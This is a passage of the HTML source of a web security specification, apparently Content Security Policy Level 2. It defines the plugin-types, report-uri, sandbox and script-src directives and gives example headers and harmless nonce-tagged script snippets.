href=\"#allowed-object-sources\">allowed object sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was a\n    fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a\n    violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Requesting data for a plugin, such as when processing the\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-object-data\">data</a></code> attribute of an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> element, the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-embed-src\">src</a></code>\n      attribute of an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code> element, or the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/obsolete.html#dom-applet-code\">code</a></code> or\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/obsolete.html#dom-applet-archive\">archive</a></code> attributes of an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code> element.\n      \n\n      \n      <li>Requesting data for display in a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a>\n      in the protected resource created by an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> or an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>\n      element.\n      \n\n      \n      <li>Navigating such a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a>.\n      \n    \n     </ul>\n     \n\n\n     <p>It is not required that the consumer of the element’s data be a\n    <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a> in order for the <code>object-src</code> directive to be\n    enforced. Data for any <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>, or <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code> element MUST\n    match the <a data-link-type=\"dfn\" href=\"#allowed-object-sources\">allowed object sources</a> in order to be fetched. This is true\n    even when the element data is semantically equivalent to content which would\n    otherwise be restricted by one of the other <a href=\"#directives\">§7 Directives</a>, such as an\n    <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> element with a <code>text/html</code> MIME type.</p>\n     \n\n\n     <p>Whenever the user agent would load a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a> without an associated\n    URL (e.g., because the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> element lacked a <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-object-data\">data</a></code>\n    attribute), if the protected resource’s URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-object-sources\">allowed object sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST NOT load the plugin.</p>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.12\" id=\"directive-plugin-types\"><span class=\"secno\">7.12. </span><span class=\"content\"><code>plugin-types</code></span><a class=\"self-link\" href=\"#directive-plugin-types\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"plugin_types\">plugin-types<a class=\"self-link\" href=\"#plugin_types\"></a></dfn></code> directive restricts the set\n    of plugins that can be invoked by the protected resource by limiting\n    the types of resources that can be embedded. The syntax for the name\n    and value of the directive are described by the following ABNF\n    grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"plugin-types\"\ndirective-value   = media-type-list\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-plugin-media-types\">allowed plugin media types<a class=\"self-link\" href=\"#allowed-plugin-media-types\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-media-type-list\">parsing the <code>plugin-types</code>\n    directive’s value as a media type list</a>.</p>\n     \n\n\n     <p>Whenever the user agent would instantiate a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a>\n    to handle <var>resource</var> while enforcing the <code>plugin-types</code>\n    directive, the user agent MUST instead act as though the plugin reported an\n    error <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a> if any of the following\n    conditions hold:</p>\n     \n\n    \n     <ul>\n        \n      <li>The plugin is embedded into the protected resource via an\n        <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> or <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code> element that does not explicitly\n        declare a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#mime-type\">MIME type</a> via a <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-object-type\">type</a></code>\n        attribute.\n      \n\n        \n      <li><var>resource</var>’s media type does not\n        <a data-link-type=\"dfn\" href=\"#match-a-media-type-list\">match</a> the list of <a data-link-type=\"dfn\" href=\"#allowed-plugin-media-types\">allowed\n        plugin media types</a>.\n      \n\n        \n      <li>The plugin is embedded into the protected resource via an\n        <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> or <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code> element, and the media type declared\n        in the element’s <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-object-type\">type</a></code> attribute is not an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII\n        case-insensitive match</a> for the <var>resource</var>’s media\n        type.\n      \n\n        \n      <li>The plugin is embedded into the protected resource via an\n        <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code> element, and <var>resource</var>’s media type is not an\n        <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive match</a> for\n        <code>application/x-java-applet</code>.\n      \n    \n     </ul>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: In any of these cases, acting as though the plugin reported an\n    error will cause the user agent to display the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/dom.html#fallback-content\">fallback\n    content</a>.</p>\n     \n\n\n     <p>Whenever the user agent creates a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#plugin-document\">plugin document</a> as the\n    <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#active-document\">active document</a> of a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#child-browsing-context\">child browsing context</a> of the\n    <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, if the user agent is enforcing any\n    <code>plugin-types</code> directives for the protected resource, the user\n    agent MUST <a data-link-type=\"dfn\" href=\"#enforce\">enforce</a> those <code>plugin-types</code> directives on the\n    plugin document as well.</p>\n     \n\n\n     <p>Whenever the user agent creates a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#plugin-document\">plugin document</a> as the\n    <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#active-document\">active document</a> of a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#child-browsing-context\">child browsing context</a> of the\n    <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, if the user agent is monitoring any\n    <code>plugin-types</code> directives for the protected resource, the user\n    agent MUST <a data-link-type=\"dfn\" href=\"#monitor\">monitor</a> those <code>plugin-types</code> directives on the\n    plugin document as well.</p>\n     \n\n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.12.1\" id=\"plugin-types-usage\"><span class=\"secno\">7.12.1. </span><span class=\"content\">Usage</span><a class=\"self-link\" href=\"#plugin-types-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>The <code>plugin-types</code> directive whitelists a certain set\n      of MIME types that can be embedded in a protected resource. For\n      example, a site might want to ensure that PDF content loads, but that\n      no other plugins can be instantiated. The following directive would\n      satisfy that requirement:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#plugin_types\">plugin-types</a> application/pdf</pre>\n      \n\n\n      <p>Resources embedded via an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code> or\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> element delivered with an\n      <code>application/pdf</code> content type would be rendered in the\n      appropriate plugin; resources delivered with some other content type\n      would be blocked. Multiple types can be specified, in any order. If the\n      site decided to additionally allow Flash at some point in the future, it\n      could do so with the following directive:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#plugin_types\">plugin-types</a> application/pdf application/x-shockwave-flash</pre>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: Wildcards are not accepted in the <code>plugin-types</code>\n      directive. Only the resource types explicitly listed in the directive\n      will be allowed.</p>\n      \n  \n     </section>\n     \n  \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.12.2\" id=\"plugin-types-predeclaration\"><span class=\"secno\">7.12.2. </span><span class=\"content\">\n        Predeclaration of expected media types\n      </span><a class=\"self-link\" href=\"#plugin-types-predeclaration\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>Enforcing the <code>plugin-types</code> directive requires that\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> and <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>\n      elements declare the expected media type of the resource they include via\n      the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-object-type\">type</a></code> attribute. If an author expects\n      to load a PDF, she could specify this as follows:</p>\n      \n\n\n      <pre>&lt;object data=\"<var>resource</var>\" type=\"application/pdf\">&lt;/object></pre>\n      \n\n\n      <p>If <var>resource</var> isn’t actually a PDF file, it won’t\n      load. This prevents certain types of attacks that rely on serving\n      content that unexpectedly invokes a plugin other than that which the\n      author intended.</p>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: <var>resource</var> will not load in this scenario even\n      if its media type is otherwise whitelisted: resources will only load\n      when their media type is whitelisted <em>and</em> matches the\n      declared type in their containing element.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.13\" id=\"directive-report-uri\"><span class=\"secno\">7.13. </span><span class=\"content\"><code>report-uri</code></span><a class=\"self-link\" href=\"#directive-report-uri\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"report_uri\">report-uri<a class=\"self-link\" href=\"#report_uri\"></a></dfn></code> directive specifies a URL to\n    which the user agent sends reports about policy violation. The syntax\n    for the name and value of the directive are described by the following\n    ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"report-uri\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#uri_reference\">uri-reference</a> *( 1*WSP <a data-link-type=\"dfn\" href=\"#uri_reference\">uri-reference</a> )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"uri_reference\">uri-reference<a class=\"self-link\" href=\"#uri_reference\"></a></dfn>     = &lt;URI-reference from RFC 3986>\n</pre>\n     \n\n\n     <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"set-of-report-urls\">set of report URLs<a class=\"self-link\" href=\"#set-of-report-urls\"></a></dfn> is the value of the\n    <code>report-uri</code> directive, each resolved relative to the\n    protected resource’s URL.</p>\n     \n\n\n     <p>The process of sending violation reports to the URLs specified in\n    this directive’s value is defined in this document’s\n    <a href=\"#violation-reports\">§4.4 Reporting</a> section.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: The <code>report-uri</code> directive will be ignored if contained\n    within a <a href=\"#delivery-html-meta-element\"><code>meta</code>\n    element</a>.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.14\" id=\"directive-sandbox\"><span class=\"secno\">7.14. </span><span class=\"content\"><code>sandbox</code></span><a class=\"self-link\" href=\"#directive-sandbox\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"sandbox\">sandbox<a class=\"self-link\" href=\"#sandbox\"></a></dfn></code> directive specifies an HTML\n    sandbox policy that the user agent applies to the protected resource.\n    The syntax for the name and value of the directive are described by\n    the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"sandbox\"\ndirective-value   = \"\" / sandbox-token *( 1*WSP <a data-link-type=\"dfn\" href=\"#sandbox_token\">sandbox-token</a> )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"sandbox_token\">sandbox-token<a class=\"self-link\" href=\"#sandbox_token\"></a></dfn>     = &lt;token from RFC 7230>\n</pre>\n     \n\n\n     <p>When enforcing the <code>sandbox</code> directive, the user agent\n    MUST <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#parse-a-sandboxing-directive\">parse a sandboxing directive</a> using the\n    <code>directive-value</code> as the <em>input</em> and protected\n    resource’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#forced-sandboxing-flag-set\">forced sandboxing flag set</a>\n    as the output. <a data-link-type=\"biblio\" href=\"#biblio-html5\">[HTML5]</a></p>\n     \n\n\n     <p>The <code>sandbox</code> directive will be ignored when <a data-link-type=\"dfn\" href=\"#monitor\">monitoring</a>\n    a policy, and when contained in a policy defined via a\n    <a href=\"#delivery-html-meta-element\"><code>meta</code> element</a>.\n    Moreover, this directive has no effect when <a data-link-type=\"dfn\" href=\"#monitor\">monitored</a>, and has no\n    reporting requirements.</p>\n     \n\n    \n     <h4 class=\"heading settled\" data-level=\"7.14.1\" id=\"sandboxing-and-workers\"><span class=\"secno\">7.14.1. </span><span class=\"content\">Sandboxing and Workers</span><a class=\"self-link\" href=\"#sandboxing-and-workers\"></a></h4>\n     \n\n\n     <p>When delivered via an HTTP header, a Content Security Policy may indicate\n    that sandboxing flags ought to be applied to a JavaScript execution\n    environment that is not a <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/dom/#interface-document\">Document</a></code>. Of particular interest is the\n    script content intended for use as a Worker, Shared Worker, or Service\n    Worker. Many of the sandboxing flags do not apply to such environments, but\n    <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts\">allow-scripts</a> and\n    <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-same-origin\">allow-same-origin</a> have special\n    requirements.</p>\n     \n\n\n     <p>When a resource is loaded while executing the <a data-link-type=\"dfn\" href=\"#runs-a-worker\">runs a\n    <code>Worker</code></a> algorithm, the user agent MUST act as if there was\n    a fatal network error and no resource could be obtained if either of the\n    following conditions holds:</p>\n     \n\n    \n     <ol>\n      \n      <li>\n        The <code><a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a></code> directive delivered with the resource\n        does <em>not</em> contain the\n        <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts\">allow-scripts</a> flag.\n      \n      \n      \n      <li>\n        The <code><a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a></code> directive delivered with the resource\n        does <em>not</em> contain the\n        <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-same-origin\">allow-same-origin</a> flag, <em>and</em>\n        the creation of the new execution context requires it to be same-origin\n        with its creating context.\n      \n      \n    \n     </ol>\n     \n\n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.14.2\" id=\"sandbox-usage\"><span class=\"secno\">7.14.2. </span><span class=\"content\">Usage</span><a class=\"self-link\" href=\"#sandbox-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n      \n      <p>HTML5 defines a <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-iframe-sandbox\">sandbox</a></code> attribute for\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> elements, intended to allow web authors\n      to reduce the risk of including potentially untrusted content by imposing\n      restrictions on that content’s abilities. When the attribute is set,\n      the content is forced into a unique origin, prevented from submitting\n      forms, running script, creating or navigating other browsing contexts,\n      and prevented from running plugins. These restrictions can be loosened\n      by setting certain flags as the attribute’s value.\n\n</p>\n      <p>The <code>sandbox</code> directive allows any resource, framed or\n      not, to ask for the same sorts of restrictions to be applied to\n      itself.</p>\n      \n\n\n      <p>For example, a message board or email system might provide\n      downloads of arbitrary attachments provided by other users. Attacks\n      that rely on tricking a client into rendering one of these attachments\n      could be mitigated by requesting that resources only be rendered in a\n      very restrictive sandbox. Sending the <code>sandbox</code> directive\n      with an empty value establishes such an environment:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a></pre>\n      \n\n\n      <p>More trusted resources might be allowed to run in an environment\n      with fewer restrictions by adding <code>allow-*</code> flags to the\n      directive’s value. For example, you can allow a page that you trust\n      to run script, while ensuring that it isn’t treated as same-origin\n      with the rest of your site. This can be accomplished by sending the\n      <code>sandbox</code> directive with the\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts\">allow-scripts</a></code> flag:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#sandbox\">sandbox</a> <a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts\">allow-scripts</a></pre>\n      \n\n\n      <p>The set of flags available to the CSP directive should match those\n      available to the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> attribute.\n      Currently, those include:</p>\n      \n\n      \n      <ul>\n        \n       <li><code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-forms\">allow-forms</a></code>\n       \n        \n       <li><code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-pointer-lock\">allow-pointer-lock</a></code>\n       \n        \n       <li><code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-popups\">allow-popups</a></code>\n       \n        \n       <li><code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-same-origin\">allow-same-origin</a></code>\n       \n        \n       <li><code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-scripts\">allow-scripts</a></code>, and\n       \n        \n       <li><code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/browsers.html#attr-iframe-sandbox-allow-top-navigation\">allow-top-navigation</a></code>\n       \n      \n      </ul>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: Like the rest of Content Security Policy, the <code>sandbox</code>\n      directive is meant as a defense-in-depth. Web authors would be well-served\n      to use it <em>in addition to</em> standard sniffing-mitigation and\n      privilege-reduction techniques.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.15\" id=\"directive-script-src\"><span class=\"secno\">7.15. </span><span class=\"content\"><code>script-src</code></span><a class=\"self-link\" href=\"#directive-script-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"script_src\">script-src<a class=\"self-link\" href=\"#script_src\"></a></dfn></code> directive restricts which scripts the\n    protected resource can execute. The directive also controls other resources,\n    such as XSLT style sheets <a data-link-type=\"biblio\" href=\"#biblio-xslt\">[XSLT]</a>, which can cause the user agent to\n    execute script. The syntax for the name and value of the directive are\n    described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"script-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-script-sources\">allowed script sources<a class=\"self-link\" href=\"#allowed-script-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>script-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>script-src</code>, or otherwise to the <a data-link-type=\"dfn\" href=\"#default-sources\">default\n    sources</a>.</p>\n     \n\n\n     <p>If <code>'unsafe-inline'</code> is <strong>not</strong> in the\n    list of <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed script sources</a>, or if at least one\n    <code><a data-link-type=\"dfn\" href=\"#nonce_source\">nonce-source</a></code> or <code><a data-link-type=\"dfn\" href=\"#hash_source\">hash-source</a></code> is\n    present in the list of <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed script sources</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Whenever the user agent would execute an inline script from a\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> element that lacks a <a data-link-type=\"dfn\" href=\"#valid-nonce\">valid nonce</a>\n      <em>and</em> lacks a <a data-link-type=\"dfn\" href=\"#valid-hash\">valid hash</a> for the <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed script\n      sources</a>, instead the user agent MUST NOT execute script, <em>and</em>\n      MUST <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>.\n      \n\n      \n      <li>Whenever the user agent would execute an inline script from an\n      inline event handler, instead the user agent MUST NOT execute script,\n      <em>and</em> MUST <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>.\n      \n\n      \n      <li>Whenever the user agent would execute script contained in a\n      <code>javascript</code> URL, instead the user agent MUST NOT execute\n      the script, <em>and</em> MUST <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>.\n      \n    \n     </ul>\n     \n\n\n     <p>If <code>'unsafe-eval'</code> is <strong>not</strong> in <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed script\n    sources</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Instead of evaluating their arguments, both operator\n      <code>eval</code> and function <code>eval</code> <a data-link-type=\"biblio\" href=\"#biblio-ecma-262\">[ECMA-262]</a>\n      MUST throw an <code>EvalError</code> exception.\n      \n\n      \n      <li>When called as a constructor, the function <code>Function</code>\n      <a data-link-type=\"biblio\" href=\"#biblio-ecma-262\">[ECMA-262]</a> MUST throw an <code>EvalError</code> exception.\n      \n\n      \n      <li>When called with a first argument that is not <a data-link-type=\"dfn\" href=\"#callable\">callable</a> (a\n      string, for example), the\n      <code><a class=\"idl-code\" data-link-type=\"method\" href=\"http://www.w3.org/TR/html5/webappapis.html#dom-windowtimers-settimeout\">setTimeout()</a></code> function MUST\n      return zero without creating a timer.\n      \n\n      \n      <li>When called with a first argument that is not <a data-link-type=\"dfn\" href=\"#callable\">callable</a> (a\n      string, for example), the\n      <code><a class=\"idl-code\" data-link-type=\"method\" href=\"http://www.w3.org/TR/html5/webappapis.html#dom-windowtimers-setinterval\">setInterval()</a></code> function MUST\n      return zero without creating a timer.\n      \n    \n     </ul>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL (including when following\n    redirects) in the course of one of the following activities, if the URL does\n    not <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed script\n    sources</a> for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if\n    there was a fatal network error and no resource was obtained, <em>and</em>\n    <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Requesting a script while processing the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/scripting-1.html#attr-script-src\">src</a></code> attribute of\n      a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> element that lacks a <a data-link-type=\"dfn\" href=\"#valid-nonce\">valid nonce</a> for the <a data-link-type=\"dfn\" href=\"#allowed-script-sources\">allowed\n      script sources</a>.\n      \n\n      \n      <li>Requesting a script while invoking the <code>importScripts</code>\n      method on a WorkerGlobalScope object. <a data-link-type=\"biblio\" href=\"#biblio-workers\">[WORKERS]</a>\n      \n\n      \n      <li>Requesting an HTML component, such as\n      when processing the <code>href</code> attribute of a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a></code>\n      element with a <code>rel</code> attribute containing the token\n      <code>import</code>. <a data-link-type=\"biblio\" href=\"#biblio-html-imports\">[HTML-IMPORTS]</a>\n      \n\n      \n      <li>Requesting an Extensible Stylesheet Language Transformations\n      (XSLT) <a data-link-type=\"biblio\" href=\"#biblio-xslt\">[XSLT]</a>, such as when processing the\n      <code>&lt;?xml-stylesheet?></code> processing directive in an XML\n      document <a data-link-type=\"biblio\" href=\"#biblio-xml11\">[XML11]</a>, the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-link-href\">href</a></code> attributes\n      on <code>&lt;xsl:include></code> and <code>&lt;xsl:import></code>\n      elements.\n      \n    \n     </ul>\n     \n\n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.15.1\" id=\"script-src-nonce-usage\"><span class=\"secno\">7.15.1. </span><span class=\"content\">\n        Nonce usage for <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> elements\n      </span><a class=\"self-link\" href=\"#script-src-nonce-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>The <code><a data-link-type=\"dfn\" href=\"#script_src\">script-src</a></code> directive lets developers specify\n      exactly which script elements on a page were intentionally included\n      for execution. Ideally, developers would avoid inline script entirely\n      and whitelist scripts by URL. However, in some cases, removing inline\n      scripts can be difficult or impossible. For those cases, developers can\n      whitelist scripts using a randomly generated nonce.</p>\n      \n\n\n      <p>Usage is straightforward. For <em>each</em> request, the server\n      generates a unique value at random, and includes it in the\n      <code>Content-Security-Policy</code> header:</p>\n      \n\n      \n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self';\n                         <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self' https://example.com 'nonce-<em>$RANDOM</em>'\n</pre>\n      \n\n\n      <p>This same value is then applied as a <code>nonce</code> attribute\n      to each <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-element\">script</a></code> element that ought to be\n      executed. For example, if the server generated the random value\n      <code>Nc3n83cnSAd3wc3Sasdfn939hc3</code>,  the server would send the\n      following policy:</p>\n      \n\n      \n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'self';\n                         <a data-link-type=\"dfn\" href=\"#script_src\">script-src</a> 'self' https://example.com 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3'\n</pre>\n      \n\n\n      <p>Script elements can then execute either because their <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/scripting-1.html#attr-script-src\">src</a></code> URLs\n      are whitelisted or because they have a <a data-link-type=\"dfn\" href=\"#valid-nonce\">valid nonce</a>:</p>\n      \n\n      \n      <pre>&lt;script>\nalert(\"Blocked because the policy doesn’t have 'unsafe-inline'.\")\n&lt;/script>\n\n&lt;script nonce=\"EDNnf03nceIOfn39fn3e9h3sdfa\">\nalert(\"Still blocked because nonce is wrong.\")\n&lt;/script>\n\n&lt;script nonce=\"Nc3n83cnSAd3wc3Sasdfn939hc3\">\nalert(\"Allowed because nonce is valid.\")\n&lt;/script>\n\n&lt;script src=\"https://example.com/allowed-because-of-src.js\">&lt;/script>\n\n&lt;script nonce=\"EDNnf03nceIOfn39fn3e9h3sdfa\"\n    src=\"https://elsewhere.com/blocked-because-nonce-is-wrong.js\">&lt;/script>\n\n&lt;script nonce=\"Nc3n83cnSAd3wc3Sasdfn939hc3\"\n    